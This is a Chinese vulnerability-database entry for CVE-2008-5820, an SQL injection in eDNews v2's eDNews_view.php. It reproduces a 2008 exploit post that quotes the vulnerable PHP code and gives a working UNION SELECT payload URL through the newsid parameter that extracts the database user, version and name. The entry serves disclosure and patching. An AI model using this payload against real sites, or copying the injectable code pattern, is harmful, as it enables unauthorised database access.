Edreamers eDare eDNews 'eDNews_view.php' SQL注入漏洞

QQ空间 新浪微博 微信 QQ facebook twitter
漏洞ID 1117155 漏洞类型 SQL注入
发布时间 2008-12-29 更新时间 2009-01-06
CVE编号 CVE-2008-5820 CNNVD-ID CNNVD-200901-015
漏洞平台 PHP CVSS评分 7.5
|漏洞来源
https://www.exploit-db.com/exploits/7619
https://www.securityfocus.com/bid/33054
https://cxsecurity.com/issue/WLB-2009010119
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200901-015
|漏洞详情
eDreamerseDNews2版本中的eDNews_view.php存在SQL注入漏洞。远程攻击者可以借助newsid参数,执行任意的SQL指令。
|漏洞EXP
#######################################################################################
  #                                                                                     #
  #                 ...:::::eDNews v2 SQL Injection Vulnerability::::....               #          
  #######################################################################################
Virangar Security Team
www.virangar.net
--------
Discoverd By :virangar security team(hadihadi)
special tnx to:MR.nosrati,black.shadowes,MR.hesy,Ali007,Zahra
& all virangar members & all hackerz
greetz:to my best friend in the world hadi_aryaie2004
& my lovely friend arash(imm02tal)
-------
vuln code in eDNews_view.php:
line 22-23:
if ( isset( $_REQUEST['newsid'] ) ) {
 ${$CONFIG['fld_id']} = $_REQUEST['newsid'];
....
line 42-46:
$arr_select = array( $CONFIG['fld_id'], ''.$CONFIG['fld_title'].'', ''.$CONFIG['fld_content'].'',''.$CONFIG['fld_dateCreated'].'',''.$CONFIG['fld_score'] .'');
$arr_from = array($CONFIG['table']);
$where = $CONFIG['fld_id'].' = '.${$CONFIG['fld_id']};
$eDQuery_ = new edQuery( $dblink, $CONFIG['db'], $arr_from, $arr_select, $where, null, 'extended', $CONFIG['debug'], null, '1' );
$arr_rst = $eDQuery_->getRecords();
---
exploit:
http://site.com/eDNews_view.php?newsid=-99/**/union/**/select/**/1,2,concat(user(),0x3a,version(),0x3e,database()),4,5/*
-------
young iranian h4ck3rz

# milw0rm.com [2008-12-29]
|受影响的产品
eDare eDNews 2
|参考资料

来源:BID
名称:33054
链接:http://www.securityfocus.com/bid/33054
来源:MILW0RM
名称:7619
链接:http://www.milw0rm.com/exploits/7619
来源:SREASON
名称:4863
链接:http://securityreason.com/securityalert/4863
来源:SECUNIA
名称:33336
链接:http://secunia.com/advisories/33336